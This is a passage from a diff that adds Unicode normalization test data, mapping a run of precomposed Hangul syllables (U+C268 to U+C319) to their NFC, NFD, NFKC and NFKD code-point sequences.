+{ source: [0xC268], NFC: [0xC268], NFD: [0x1109, 0x1170, 0x11BF], NFKC: [0xC268], NFKD: [0x1109, 0x1170, 0x11BF] },
+{ source: [0xC269], NFC: [0xC269], NFD: [0x1109, 0x1170, 0x11C0], NFKC: [0xC269], NFKD: [0x1109, 0x1170, 0x11C0] },
+{ source: [0xC26A], NFC: [0xC26A], NFD: [0x1109, 0x1170, 0x11C1], NFKC: [0xC26A], NFKD: [0x1109, 0x1170, 0x11C1] },
+{ source: [0xC26B], NFC: [0xC26B], NFD: [0x1109, 0x1170, 0x11C2], NFKC: [0xC26B], NFKD: [0x1109, 0x1170, 0x11C2] },
+{ source: [0xC26C], NFC: [0xC26C], NFD: [0x1109, 0x1171], NFKC: [0xC26C], NFKD: [0x1109, 0x1171] },
+{ source: [0xC26D], NFC: [0xC26D], NFD: [0x1109, 0x1171, 0x11A8], NFKC: [0xC26D], NFKD: [0x1109, 0x1171, 0x11A8] },
+{ source: [0xC26E], NFC: [0xC26E], NFD: [0x1109, 0x1171, 0x11A9], NFKC: [0xC26E], NFKD: [0x1109, 0x1171, 0x11A9] },
+{ source: [0xC26F], NFC: [0xC26F], NFD: [0x1109, 0x1171, 0x11AA], NFKC: [0xC26F], NFKD: [0x1109, 0x1171, 0x11AA] },
+{ source: [0xC270], NFC: [0xC270], NFD: [0x1109, 0x1171, 0x11AB], NFKC: [0xC270], NFKD: [0x1109, 0x1171, 0x11AB] },
+{ source: [0xC271], NFC: [0xC271], NFD: [0x1109, 0x1171, 0x11AC], NFKC: [0xC271], NFKD: [0x1109, 0x1171, 0x11AC] },
+{ source: [0xC272], NFC: [0xC272], NFD: [0x1109, 0x1171, 0x11AD], NFKC: [0xC272], NFKD: [0x1109, 0x1171, 0x11AD] },
+{ source: [0xC273], NFC: [0xC273], NFD: [0x1109, 0x1171, 0x11AE], NFKC: [0xC273], NFKD: [0x1109, 0x1171, 0x11AE] },
+{ source: [0xC274], NFC: [0xC274], NFD: [0x1109, 0x1171, 0x11AF], NFKC: [0xC274], NFKD: [0x1109, 0x1171, 0x11AF] },
+{ source: [0xC275], NFC: [0xC275], NFD: [0x1109, 0x1171, 0x11B0], NFKC: [0xC275], NFKD: [0x1109, 0x1171, 0x11B0] },
+{ source: [0xC276], NFC: [0xC276], NFD: [0x1109, 0x1171, 0x11B1], NFKC: [0xC276], NFKD: [0x1109, 0x1171, 0x11B1] },
+{ source: [0xC277], NFC: [0xC277], NFD: [0x1109, 0x1171, 0x11B2], NFKC: [0xC277], NFKD: [0x1109, 0x1171, 0x11B2] },
+{ source: [0xC278], NFC: [0xC278], NFD: [0x1109, 0x1171, 0x11B3], NFKC: [0xC278], NFKD: [0x1109, 0x1171, 0x11B3] },
+{ source: [0xC279], NFC: [0xC279], NFD: [0x1109, 0x1171, 0x11B4], NFKC: [0xC279], NFKD: [0x1109, 0x1171, 0x11B4] },
+{ source: [0xC27A], NFC: [0xC27A], NFD: [0x1109, 0x1171, 0x11B5], NFKC: [0xC27A], NFKD: [0x1109, 0x1171, 0x11B5] },
+{ source: [0xC27B], NFC: [0xC27B], NFD: [0x1109, 0x1171, 0x11B6], NFKC: [0xC27B], NFKD: [0x1109, 0x1171, 0x11B6] },
+{ source: [0xC27C], NFC: [0xC27C], NFD: [0x1109, 0x1171, 0x11B7], NFKC: [0xC27C], NFKD: [0x1109, 0x1171, 0x11B7] },
+{ source: [0xC27D], NFC: [0xC27D], NFD: [0x1109, 0x1171, 0x11B8], NFKC: [0xC27D], NFKD: [0x1109, 0x1171, 0x11B8] },
+{ source: [0xC27E], NFC: [0xC27E], NFD: [0x1109, 0x1171, 0x11B9], NFKC: [0xC27E], NFKD: [0x1109, 0x1171, 0x11B9] },
+{ source: [0xC27F], NFC: [0xC27F], NFD: [0x1109, 0x1171, 0x11BA], NFKC: [0xC27F], NFKD: [0x1109, 0x1171, 0x11BA] },
+{ source: [0xC280], NFC: [0xC280], NFD: [0x1109, 0x1171, 0x11BB], NFKC: [0xC280], NFKD: [0x1109, 0x1171, 0x11BB] },
+{ source: [0xC281], NFC: [0xC281], NFD: [0x1109, 0x1171, 0x11BC], NFKC: [0xC281], NFKD: [0x1109, 0x1171, 0x11BC] },
+{ source: [0xC282], NFC: [0xC282], NFD: [0x1109, 0x1171, 0x11BD], NFKC: [0xC282], NFKD: [0x1109, 0x1171, 0x11BD] },
+{ source: [0xC283], NFC: [0xC283], NFD: [0x1109, 0x1171, 0x11BE], NFKC: [0xC283], NFKD: [0x1109, 0x1171, 0x11BE] },
+{ source: [0xC284], NFC: [0xC284], NFD: [0x1109, 0x1171, 0x11BF], NFKC: [0xC284], NFKD: [0x1109, 0x1171, 0x11BF] },
+{ source: [0xC285], NFC: [0xC285], NFD: [0x1109, 0x1171, 0x11C0], NFKC: [0xC285], NFKD: [0x1109, 0x1171, 0x11C0] },
+{ source: [0xC286], NFC: [0xC286], NFD: [0x1109, 0x1171, 0x11C1], NFKC: [0xC286], NFKD: [0x1109, 0x1171, 0x11C1] },
+{ source: [0xC287], NFC: [0xC287], NFD: [0x1109, 0x1171, 0x11C2], NFKC: [0xC287], NFKD: [0x1109, 0x1171, 0x11C2] },
+{ source: [0xC288], NFC: [0xC288], NFD: [0x1109, 0x1172], NFKC: [0xC288], NFKD: [0x1109, 0x1172] },
+{ source: [0xC289], NFC: [0xC289], NFD: [0x1109, 0x1172, 0x11A8], NFKC: [0xC289], NFKD: [0x1109, 0x1172, 0x11A8] },
+{ source: [0xC28A], NFC: [0xC28A], NFD: [0x1109, 0x1172, 0x11A9], NFKC: [0xC28A], NFKD: [0x1109, 0x1172, 0x11A9] },
+{ source: [0xC28B], NFC: [0xC28B], NFD: [0x1109, 0x1172, 0x11AA], NFKC: [0xC28B], NFKD: [0x1109, 0x1172, 0x11AA] },
+{ source: [0xC28C], NFC: [0xC28C], NFD: [0x1109, 0x1172, 0x11AB], NFKC: [0xC28C], NFKD: [0x1109, 0x1172, 0x11AB] },
+{ source: [0xC28D], NFC: [0xC28D], NFD: [0x1109, 0x1172, 0x11AC], NFKC: [0xC28D], NFKD: [0x1109, 0x1172, 0x11AC] },
+{ source: [0xC28E], NFC: [0xC28E], NFD: [0x1109, 0x1172, 0x11AD], NFKC: [0xC28E], NFKD: [0x1109, 0x1172, 0x11AD] },
+{ source: [0xC28F], NFC: [0xC28F], NFD: [0x1109, 0x1172, 0x11AE], NFKC: [0xC28F], NFKD: [0x1109, 0x1172, 0x11AE] },
+{ source: [0xC290], NFC: [0xC290], NFD: [0x1109, 0x1172, 0x11AF], NFKC: [0xC290], NFKD: [0x1109, 0x1172, 0x11AF] },
+{ source: [0xC291], NFC: [0xC291], NFD: [0x1109, 0x1172, 0x11B0], NFKC: [0xC291], NFKD: [0x1109, 0x1172, 0x11B0] },
+{ source: [0xC292], NFC: [0xC292], NFD: [0x1109, 0x1172, 0x11B1], NFKC: [0xC292], NFKD: [0x1109, 0x1172, 0x11B1] },
+{ source: [0xC293], NFC: [0xC293], NFD: [0x1109, 0x1172, 0x11B2], NFKC: [0xC293], NFKD: [0x1109, 0x1172, 0x11B2] },
+{ source: [0xC294], NFC: [0xC294], NFD: [0x1109, 0x1172, 0x11B3], NFKC: [0xC294], NFKD: [0x1109, 0x1172, 0x11B3] },
+{ source: [0xC295], NFC: [0xC295], NFD: [0x1109, 0x1172, 0x11B4], NFKC: [0xC295], NFKD: [0x1109, 0x1172, 0x11B4] },
+{ source: [0xC296], NFC: [0xC296], NFD: [0x1109, 0x1172, 0x11B5], NFKC: [0xC296], NFKD: [0x1109, 0x1172, 0x11B5] },
+{ source: [0xC297], NFC: [0xC297], NFD: [0x1109, 0x1172, 0x11B6], NFKC: [0xC297], NFKD: [0x1109, 0x1172, 0x11B6] },
+{ source: [0xC298], NFC: [0xC298], NFD: [0x1109, 0x1172, 0x11B7], NFKC: [0xC298], NFKD: [0x1109, 0x1172, 0x11B7] },
+{ source: [0xC299], NFC: [0xC299], NFD: [0x1109, 0x1172, 0x11B8], NFKC: [0xC299], NFKD: [0x1109, 0x1172, 0x11B8] },
+{ source: [0xC29A], NFC: [0xC29A], NFD: [0x1109, 0x1172, 0x11B9], NFKC: [0xC29A], NFKD: [0x1109, 0x1172, 0x11B9] },
+{ source: [0xC29B], NFC: [0xC29B], NFD: [0x1109, 0x1172, 0x11BA], NFKC: [0xC29B], NFKD: [0x1109, 0x1172, 0x11BA] },
+{ source: [0xC29C], NFC: [0xC29C], NFD: [0x1109, 0x1172, 0x11BB], NFKC: [0xC29C], NFKD: [0x1109, 0x1172, 0x11BB] },
+{ source: [0xC29D], NFC: [0xC29D], NFD: [0x1109, 0x1172, 0x11BC], NFKC: [0xC29D], NFKD: [0x1109, 0x1172, 0x11BC] },
+{ source: [0xC29E], NFC: [0xC29E], NFD: [0x1109, 0x1172, 0x11BD], NFKC: [0xC29E], NFKD: [0x1109, 0x1172, 0x11BD] },
+{ source: [0xC29F], NFC: [0xC29F], NFD: [0x1109, 0x1172, 0x11BE], NFKC: [0xC29F], NFKD: [0x1109, 0x1172, 0x11BE] },
+{ source: [0xC2A0], NFC: [0xC2A0], NFD: [0x1109, 0x1172, 0x11BF], NFKC: [0xC2A0], NFKD: [0x1109, 0x1172, 0x11BF] },
+{ source: [0xC2A1], NFC: [0xC2A1], NFD: [0x1109, 0x1172, 0x11C0], NFKC: [0xC2A1], NFKD: [0x1109, 0x1172, 0x11C0] },
+{ source: [0xC2A2], NFC: [0xC2A2], NFD: [0x1109, 0x1172, 0x11C1], NFKC: [0xC2A2], NFKD: [0x1109, 0x1172, 0x11C1] },
+{ source: [0xC2A3], NFC: [0xC2A3], NFD: [0x1109, 0x1172, 0x11C2], NFKC: [0xC2A3], NFKD: [0x1109, 0x1172, 0x11C2] },
+{ source: [0xC2A4], NFC: [0xC2A4], NFD: [0x1109, 0x1173], NFKC: [0xC2A4], NFKD: [0x1109, 0x1173] },
+{ source: [0xC2A5], NFC: [0xC2A5], NFD: [0x1109, 0x1173, 0x11A8], NFKC: [0xC2A5], NFKD: [0x1109, 0x1173, 0x11A8] },
+{ source: [0xC2A6], NFC: [0xC2A6], NFD: [0x1109, 0x1173, 0x11A9], NFKC: [0xC2A6], NFKD: [0x1109, 0x1173, 0x11A9] },
+{ source: [0xC2A7], NFC: [0xC2A7], NFD: [0x1109, 0x1173, 0x11AA], NFKC: [0xC2A7], NFKD: [0x1109, 0x1173, 0x11AA] },
+{ source: [0xC2A8], NFC: [0xC2A8], NFD: [0x1109, 0x1173, 0x11AB], NFKC: [0xC2A8], NFKD: [0x1109, 0x1173, 0x11AB] },
+{ source: [0xC2A9], NFC: [0xC2A9], NFD: [0x1109, 0x1173, 0x11AC], NFKC: [0xC2A9], NFKD: [0x1109, 0x1173, 0x11AC] },
+{ source: [0xC2AA], NFC: [0xC2AA], NFD: [0x1109, 0x1173, 0x11AD], NFKC: [0xC2AA], NFKD: [0x1109, 0x1173, 0x11AD] },
+{ source: [0xC2AB], NFC: [0xC2AB], NFD: [0x1109, 0x1173, 0x11AE], NFKC: [0xC2AB], NFKD: [0x1109, 0x1173, 0x11AE] },
+{ source: [0xC2AC], NFC: [0xC2AC], NFD: [0x1109, 0x1173, 0x11AF], NFKC: [0xC2AC], NFKD: [0x1109, 0x1173, 0x11AF] },
+{ source: [0xC2AD], NFC: [0xC2AD], NFD: [0x1109, 0x1173, 0x11B0], NFKC: [0xC2AD], NFKD: [0x1109, 0x1173, 0x11B0] },
+{ source: [0xC2AE], NFC: [0xC2AE], NFD: [0x1109, 0x1173, 0x11B1], NFKC: [0xC2AE], NFKD: [0x1109, 0x1173, 0x11B1] },
+{ source: [0xC2AF], NFC: [0xC2AF], NFD: [0x1109, 0x1173, 0x11B2], NFKC: [0xC2AF], NFKD: [0x1109, 0x1173, 0x11B2] },
+{ source: [0xC2B0], NFC: [0xC2B0], NFD: [0x1109, 0x1173, 0x11B3], NFKC: [0xC2B0], NFKD: [0x1109, 0x1173, 0x11B3] },
+{ source: [0xC2B1], NFC: [0xC2B1], NFD: [0x1109, 0x1173, 0x11B4], NFKC: [0xC2B1], NFKD: [0x1109, 0x1173, 0x11B4] },
+{ source: [0xC2B2], NFC: [0xC2B2], NFD: [0x1109, 0x1173, 0x11B5], NFKC: [0xC2B2], NFKD: [0x1109, 0x1173, 0x11B5] },
+{ source: [0xC2B3], NFC: [0xC2B3], NFD: [0x1109, 0x1173, 0x11B6], NFKC: [0xC2B3], NFKD: [0x1109, 0x1173, 0x11B6] },
+{ source: [0xC2B4], NFC: [0xC2B4], NFD: [0x1109, 0x1173, 0x11B7], NFKC: [0xC2B4], NFKD: [0x1109, 0x1173, 0x11B7] },
+{ source: [0xC2B5], NFC: [0xC2B5], NFD: [0x1109, 0x1173, 0x11B8], NFKC: [0xC2B5], NFKD: [0x1109, 0x1173, 0x11B8] },
+{ source: [0xC2B6], NFC: [0xC2B6], NFD: [0x1109, 0x1173, 0x11B9], NFKC: [0xC2B6], NFKD: [0x1109, 0x1173, 0x11B9] },
+{ source: [0xC2B7], NFC: [0xC2B7], NFD: [0x1109, 0x1173, 0x11BA], NFKC: [0xC2B7], NFKD: [0x1109, 0x1173, 0x11BA] },
+{ source: [0xC2B8], NFC: [0xC2B8], NFD: [0x1109, 0x1173, 0x11BB], NFKC: [0xC2B8], NFKD: [0x1109, 0x1173, 0x11BB] },
+{ source: [0xC2B9], NFC: [0xC2B9], NFD: [0x1109, 0x1173, 0x11BC], NFKC: [0xC2B9], NFKD: [0x1109, 0x1173, 0x11BC] },
+{ source: [0xC2BA], NFC: [0xC2BA], NFD: [0x1109, 0x1173, 0x11BD], NFKC: [0xC2BA], NFKD: [0x1109, 0x1173, 0x11BD] },
+{ source: [0xC2BB], NFC: [0xC2BB], NFD: [0x1109, 0x1173, 0x11BE], NFKC: [0xC2BB], NFKD: [0x1109, 0x1173, 0x11BE] },
+{ source: [0xC2BC], NFC: [0xC2BC], NFD: [0x1109, 0x1173, 0x11BF], NFKC: [0xC2BC], NFKD: [0x1109, 0x1173, 0x11BF] },
+{ source: [0xC2BD], NFC: [0xC2BD], NFD: [0x1109, 0x1173, 0x11C0], NFKC: [0xC2BD], NFKD: [0x1109, 0x1173, 0x11C0] },
+{ source: [0xC2BE], NFC: [0xC2BE], NFD: [0x1109, 0x1173, 0x11C1], NFKC: [0xC2BE], NFKD: [0x1109, 0x1173, 0x11C1] },
+{ source: [0xC2BF], NFC: [0xC2BF], NFD: [0x1109, 0x1173, 0x11C2], NFKC: [0xC2BF], NFKD: [0x1109, 0x1173, 0x11C2] },
+{ source: [0xC2C0], NFC: [0xC2C0], NFD: [0x1109, 0x1174], NFKC: [0xC2C0], NFKD: [0x1109, 0x1174] },
+{ source: [0xC2C1], NFC: [0xC2C1], NFD: [0x1109, 0x1174, 0x11A8], NFKC: [0xC2C1], NFKD: [0x1109, 0x1174, 0x11A8] },
+{ source: [0xC2C2], NFC: [0xC2C2], NFD: [0x1109, 0x1174, 0x11A9], NFKC: [0xC2C2], NFKD: [0x1109, 0x1174, 0x11A9] },
+{ source: [0xC2C3], NFC: [0xC2C3], NFD: [0x1109, 0x1174, 0x11AA], NFKC: [0xC2C3], NFKD: [0x1109, 0x1174, 0x11AA] },
+{ source: [0xC2C4], NFC: [0xC2C4], NFD: [0x1109, 0x1174, 0x11AB], NFKC: [0xC2C4], NFKD: [0x1109, 0x1174, 0x11AB] },
+{ source: [0xC2C5], NFC: [0xC2C5], NFD: [0x1109, 0x1174, 0x11AC], NFKC: [0xC2C5], NFKD: [0x1109, 0x1174, 0x11AC] },
+{ source: [0xC2C6], NFC: [0xC2C6], NFD: [0x1109, 0x1174, 0x11AD], NFKC: [0xC2C6], NFKD: [0x1109, 0x1174, 0x11AD] },
+{ source: [0xC2C7], NFC: [0xC2C7], NFD: [0x1109, 0x1174, 0x11AE], NFKC: [0xC2C7], NFKD: [0x1109, 0x1174, 0x11AE] },
+{ source: [0xC2C8], NFC: [0xC2C8], NFD: [0x1109, 0x1174, 0x11AF], NFKC: [0xC2C8], NFKD: [0x1109, 0x1174, 0x11AF] },
+{ source: [0xC2C9], NFC: [0xC2C9], NFD: [0x1109, 0x1174, 0x11B0], NFKC: [0xC2C9], NFKD: [0x1109, 0x1174, 0x11B0] },
+{ source: [0xC2CA], NFC: [0xC2CA], NFD: [0x1109, 0x1174, 0x11B1], NFKC: [0xC2CA], NFKD: [0x1109, 0x1174, 0x11B1] },
+{ source: [0xC2CB], NFC: [0xC2CB], NFD: [0x1109, 0x1174, 0x11B2], NFKC: [0xC2CB], NFKD: [0x1109, 0x1174, 0x11B2] },
+{ source: [0xC2CC], NFC: [0xC2CC], NFD: [0x1109, 0x1174, 0x11B3], NFKC: [0xC2CC], NFKD: [0x1109, 0x1174, 0x11B3] },
+{ source: [0xC2CD], NFC: [0xC2CD], NFD: [0x1109, 0x1174, 0x11B4], NFKC: [0xC2CD], NFKD: [0x1109, 0x1174, 0x11B4] },
+{ source: [0xC2CE], NFC: [0xC2CE], NFD: [0x1109, 0x1174, 0x11B5], NFKC: [0xC2CE], NFKD: [0x1109, 0x1174, 0x11B5] },
+{ source: [0xC2CF], NFC: [0xC2CF], NFD: [0x1109, 0x1174, 0x11B6], NFKC: [0xC2CF], NFKD: [0x1109, 0x1174, 0x11B6] },
+{ source: [0xC2D0], NFC: [0xC2D0], NFD: [0x1109, 0x1174, 0x11B7], NFKC: [0xC2D0], NFKD: [0x1109, 0x1174, 0x11B7] },
+{ source: [0xC2D1], NFC: [0xC2D1], NFD: [0x1109, 0x1174, 0x11B8], NFKC: [0xC2D1], NFKD: [0x1109, 0x1174, 0x11B8] },
+{ source: [0xC2D2], NFC: [0xC2D2], NFD: [0x1109, 0x1174, 0x11B9], NFKC: [0xC2D2], NFKD: [0x1109, 0x1174, 0x11B9] },
+{ source: [0xC2D3], NFC: [0xC2D3], NFD: [0x1109, 0x1174, 0x11BA], NFKC: [0xC2D3], NFKD: [0x1109, 0x1174, 0x11BA] },
+{ source: [0xC2D4], NFC: [0xC2D4], NFD: [0x1109, 0x1174, 0x11BB], NFKC: [0xC2D4], NFKD: [0x1109, 0x1174, 0x11BB] },
+{ source: [0xC2D5], NFC: [0xC2D5], NFD: [0x1109, 0x1174, 0x11BC], NFKC: [0xC2D5], NFKD: [0x1109, 0x1174, 0x11BC] },
+{ source: [0xC2D6], NFC: [0xC2D6], NFD: [0x1109, 0x1174, 0x11BD], NFKC: [0xC2D6], NFKD: [0x1109, 0x1174, 0x11BD] },
+{ source: [0xC2D7], NFC: [0xC2D7], NFD: [0x1109, 0x1174, 0x11BE], NFKC: [0xC2D7], NFKD: [0x1109, 0x1174, 0x11BE] },
+{ source: [0xC2D8], NFC: [0xC2D8], NFD: [0x1109, 0x1174, 0x11BF], NFKC: [0xC2D8], NFKD: [0x1109, 0x1174, 0x11BF] },
+{ source: [0xC2D9], NFC: [0xC2D9], NFD: [0x1109, 0x1174, 0x11C0], NFKC: [0xC2D9], NFKD: [0x1109, 0x1174, 0x11C0] },
+{ source: [0xC2DA], NFC: [0xC2DA], NFD: [0x1109, 0x1174, 0x11C1], NFKC: [0xC2DA], NFKD: [0x1109, 0x1174, 0x11C1] },
+{ source: [0xC2DB], NFC: [0xC2DB], NFD: [0x1109, 0x1174, 0x11C2], NFKC: [0xC2DB], NFKD: [0x1109, 0x1174, 0x11C2] },
+{ source: [0xC2DC], NFC: [0xC2DC], NFD: [0x1109, 0x1175], NFKC: [0xC2DC], NFKD: [0x1109, 0x1175] },
+{ source: [0xC2DD], NFC: [0xC2DD], NFD: [0x1109, 0x1175, 0x11A8], NFKC: [0xC2DD], NFKD: [0x1109, 0x1175, 0x11A8] },
+{ source: [0xC2DE], NFC: [0xC2DE], NFD: [0x1109, 0x1175, 0x11A9], NFKC: [0xC2DE], NFKD: [0x1109, 0x1175, 0x11A9] },
+{ source: [0xC2DF], NFC: [0xC2DF], NFD: [0x1109, 0x1175, 0x11AA], NFKC: [0xC2DF], NFKD: [0x1109, 0x1175, 0x11AA] },
+{ source: [0xC2E0], NFC: [0xC2E0], NFD: [0x1109, 0x1175, 0x11AB], NFKC: [0xC2E0], NFKD: [0x1109, 0x1175, 0x11AB] },
+{ source: [0xC2E1], NFC: [0xC2E1], NFD: [0x1109, 0x1175, 0x11AC], NFKC: [0xC2E1], NFKD: [0x1109, 0x1175, 0x11AC] },
+{ source: [0xC2E2], NFC: [0xC2E2], NFD: [0x1109, 0x1175, 0x11AD], NFKC: [0xC2E2], NFKD: [0x1109, 0x1175, 0x11AD] },
+{ source: [0xC2E3], NFC: [0xC2E3], NFD: [0x1109, 0x1175, 0x11AE], NFKC: [0xC2E3], NFKD: [0x1109, 0x1175, 0x11AE] },
+{ source: [0xC2E4], NFC: [0xC2E4], NFD: [0x1109, 0x1175, 0x11AF], NFKC: [0xC2E4], NFKD: [0x1109, 0x1175, 0x11AF] },
+{ source: [0xC2E5], NFC: [0xC2E5], NFD: [0x1109, 0x1175, 0x11B0], NFKC: [0xC2E5], NFKD: [0x1109, 0x1175, 0x11B0] },
+{ source: [0xC2E6], NFC: [0xC2E6], NFD: [0x1109, 0x1175, 0x11B1], NFKC: [0xC2E6], NFKD: [0x1109, 0x1175, 0x11B1] },
+{ source: [0xC2E7], NFC: [0xC2E7], NFD: [0x1109, 0x1175, 0x11B2], NFKC: [0xC2E7], NFKD: [0x1109, 0x1175, 0x11B2] },
+{ source: [0xC2E8], NFC: [0xC2E8], NFD: [0x1109, 0x1175, 0x11B3], NFKC: [0xC2E8], NFKD: [0x1109, 0x1175, 0x11B3] },
+{ source: [0xC2E9], NFC: [0xC2E9], NFD: [0x1109, 0x1175, 0x11B4], NFKC: [0xC2E9], NFKD: [0x1109, 0x1175, 0x11B4] },
+{ source: [0xC2EA], NFC: [0xC2EA], NFD: [0x1109, 0x1175, 0x11B5], NFKC: [0xC2EA], NFKD: [0x1109, 0x1175, 0x11B5] },
+{ source: [0xC2EB], NFC: [0xC2EB], NFD: [0x1109, 0x1175, 0x11B6], NFKC: [0xC2EB], NFKD: [0x1109, 0x1175, 0x11B6] },
+{ source: [0xC2EC], NFC: [0xC2EC], NFD: [0x1109, 0x1175, 0x11B7], NFKC: [0xC2EC], NFKD: [0x1109, 0x1175, 0x11B7] },
+{ source: [0xC2ED], NFC: [0xC2ED], NFD: [0x1109, 0x1175, 0x11B8], NFKC: [0xC2ED], NFKD: [0x1109, 0x1175, 0x11B8] },
+{ source: [0xC2EE], NFC: [0xC2EE], NFD: [0x1109, 0x1175, 0x11B9], NFKC: [0xC2EE], NFKD: [0x1109, 0x1175, 0x11B9] },
+{ source: [0xC2EF], NFC: [0xC2EF], NFD: [0x1109, 0x1175, 0x11BA], NFKC: [0xC2EF], NFKD: [0x1109, 0x1175, 0x11BA] },
+{ source: [0xC2F0], NFC: [0xC2F0], NFD: [0x1109, 0x1175, 0x11BB], NFKC: [0xC2F0], NFKD: [0x1109, 0x1175, 0x11BB] },
+{ source: [0xC2F1], NFC: [0xC2F1], NFD: [0x1109, 0x1175, 0x11BC], NFKC: [0xC2F1], NFKD: [0x1109, 0x1175, 0x11BC] },
+{ source: [0xC2F2], NFC: [0xC2F2], NFD: [0x1109, 0x1175, 0x11BD], NFKC: [0xC2F2], NFKD: [0x1109, 0x1175, 0x11BD] },
+{ source: [0xC2F3], NFC: [0xC2F3], NFD: [0x1109, 0x1175, 0x11BE], NFKC: [0xC2F3], NFKD: [0x1109, 0x1175, 0x11BE] },
+{ source: [0xC2F4], NFC: [0xC2F4], NFD: [0x1109, 0x1175, 0x11BF], NFKC: [0xC2F4], NFKD: [0x1109, 0x1175, 0x11BF] },
+{ source: [0xC2F5], NFC: [0xC2F5], NFD: [0x1109, 0x1175, 0x11C0], NFKC: [0xC2F5], NFKD: [0x1109, 0x1175, 0x11C0] },
+{ source: [0xC2F6], NFC: [0xC2F6], NFD: [0x1109, 0x1175, 0x11C1], NFKC: [0xC2F6], NFKD: [0x1109, 0x1175, 0x11C1] },
+{ source: [0xC2F7], NFC: [0xC2F7], NFD: [0x1109, 0x1175, 0x11C2], NFKC: [0xC2F7], NFKD: [0x1109, 0x1175, 0x11C2] },
+{ source: [0xC2F8], NFC: [0xC2F8], NFD: [0x110A, 0x1161], NFKC: [0xC2F8], NFKD: [0x110A, 0x1161] },
+{ source: [0xC2F9], NFC: [0xC2F9], NFD: [0x110A, 0x1161, 0x11A8], NFKC: [0xC2F9], NFKD: [0x110A, 0x1161, 0x11A8] },
+{ source: [0xC2FA], NFC: [0xC2FA], NFD: [0x110A, 0x1161, 0x11A9], NFKC: [0xC2FA], NFKD: [0x110A, 0x1161, 0x11A9] },
+{ source: [0xC2FB], NFC: [0xC2FB], NFD: [0x110A, 0x1161, 0x11AA], NFKC: [0xC2FB], NFKD: [0x110A, 0x1161, 0x11AA] },
+{ source: [0xC2FC], NFC: [0xC2FC], NFD: [0x110A, 0x1161, 0x11AB], NFKC: [0xC2FC], NFKD: [0x110A, 0x1161, 0x11AB] },
+{ source: [0xC2FD], NFC: [0xC2FD], NFD: [0x110A, 0x1161, 0x11AC], NFKC: [0xC2FD], NFKD: [0x110A, 0x1161, 0x11AC] },
+{ source: [0xC2FE], NFC: [0xC2FE], NFD: [0x110A, 0x1161, 0x11AD], NFKC: [0xC2FE], NFKD: [0x110A, 0x1161, 0x11AD] },
+{ source: [0xC2FF], NFC: [0xC2FF], NFD: [0x110A, 0x1161, 0x11AE], NFKC: [0xC2FF], NFKD: [0x110A, 0x1161, 0x11AE] },
+{ source: [0xC300], NFC: [0xC300], NFD: [0x110A, 0x1161, 0x11AF], NFKC: [0xC300], NFKD: [0x110A, 0x1161, 0x11AF] },
+{ source: [0xC301], NFC: [0xC301], NFD: [0x110A, 0x1161, 0x11B0], NFKC: [0xC301], NFKD: [0x110A, 0x1161, 0x11B0] },
+{ source: [0xC302], NFC: [0xC302], NFD: [0x110A, 0x1161, 0x11B1], NFKC: [0xC302], NFKD: [0x110A, 0x1161, 0x11B1] },
+{ source: [0xC303], NFC: [0xC303], NFD: [0x110A, 0x1161, 0x11B2], NFKC: [0xC303], NFKD: [0x110A, 0x1161, 0x11B2] },
+{ source: [0xC304], NFC: [0xC304], NFD: [0x110A, 0x1161, 0x11B3], NFKC: [0xC304], NFKD: [0x110A, 0x1161, 0x11B3] },
+{ source: [0xC305], NFC: [0xC305], NFD: [0x110A, 0x1161, 0x11B4], NFKC: [0xC305], NFKD: [0x110A, 0x1161, 0x11B4] },
+{ source: [0xC306], NFC: [0xC306], NFD: [0x110A, 0x1161, 0x11B5], NFKC: [0xC306], NFKD: [0x110A, 0x1161, 0x11B5] },
+{ source: [0xC307], NFC: [0xC307], NFD: [0x110A, 0x1161, 0x11B6], NFKC: [0xC307], NFKD: [0x110A, 0x1161, 0x11B6] },
+{ source: [0xC308], NFC: [0xC308], NFD: [0x110A, 0x1161, 0x11B7], NFKC: [0xC308], NFKD: [0x110A, 0x1161, 0x11B7] },
+{ source: [0xC309], NFC: [0xC309], NFD: [0x110A, 0x1161, 0x11B8], NFKC: [0xC309], NFKD: [0x110A, 0x1161, 0x11B8] },
+{ source: [0xC30A], NFC: [0xC30A], NFD: [0x110A, 0x1161, 0x11B9], NFKC: [0xC30A], NFKD: [0x110A, 0x1161, 0x11B9] },
+{ source: [0xC30B], NFC: [0xC30B], NFD: [0x110A, 0x1161, 0x11BA], NFKC: [0xC30B], NFKD: [0x110A, 0x1161, 0x11BA] },
+{ source: [0xC30C], NFC: [0xC30C], NFD: [0x110A, 0x1161, 0x11BB], NFKC: [0xC30C], NFKD: [0x110A, 0x1161, 0x11BB] },
+{ source: [0xC30D], NFC: [0xC30D], NFD: [0x110A, 0x1161, 0x11BC], NFKC: [0xC30D], NFKD: [0x110A, 0x1161, 0x11BC] },
+{ source: [0xC30E], NFC: [0xC30E], NFD: [0x110A, 0x1161, 0x11BD], NFKC: [0xC30E], NFKD: [0x110A, 0x1161, 0x11BD] },
+{ source: [0xC30F], NFC: [0xC30F], NFD: [0x110A, 0x1161, 0x11BE], NFKC: [0xC30F], NFKD: [0x110A, 0x1161, 0x11BE] },
+{ source: [0xC310], NFC: [0xC310], NFD: [0x110A, 0x1161, 0x11BF], NFKC: [0xC310], NFKD: [0x110A, 0x1161, 0x11BF] },
+{ source: [0xC311], NFC: [0xC311], NFD: [0x110A, 0x1161, 0x11C0], NFKC: [0xC311], NFKD: [0x110A, 0x1161, 0x11C0] },
+{ source: [0xC312], NFC: [0xC312], NFD: [0x110A, 0x1161, 0x11C1], NFKC: [0xC312], NFKD: [0x110A, 0x1161, 0x11C1] },
+{ source: [0xC313], NFC: [0xC313], NFD: [0x110A, 0x1161, 0x11C2], NFKC: [0xC313], NFKD: [0x110A, 0x1161, 0x11C2] },
+{ source: [0xC314], NFC: [0xC314], NFD: [0x110A, 0x1162], NFKC: [0xC314], NFKD: [0x110A, 0x1162] },
+{ source: [0xC315], NFC: [0xC315], NFD: [0x110A, 0x1162, 0x11A8], NFKC: [0xC315], NFKD: [0x110A, 0x1162, 0x11A8] },
+{ source: [0xC316], NFC: [0xC316], NFD: [0x110A, 0x1162, 0x11A9], NFKC: [0xC316], NFKD: [0x110A, 0x1162, 0x11A9] },
+{ source: [0xC317], NFC: [0xC317], NFD: [0x110A, 0x1162, 0x11AA], NFKC: [0xC317], NFKD: [0x110A, 0x1162, 0x11AA] },
+{ source: [0xC318], NFC: [0xC318], NFD: [0x110A, 0x1162, 0x11AB], NFKC: [0xC318], NFKD: [0x110A, 0x1162, 0x11AB] },
+{ source: [0xC319], NFC: [0xC319], NFD: [0x110A, 0x1162, 0x11AC], NFKC: [0xC319], NFKD: [0x110A, 0x1162, 0x11AC] },
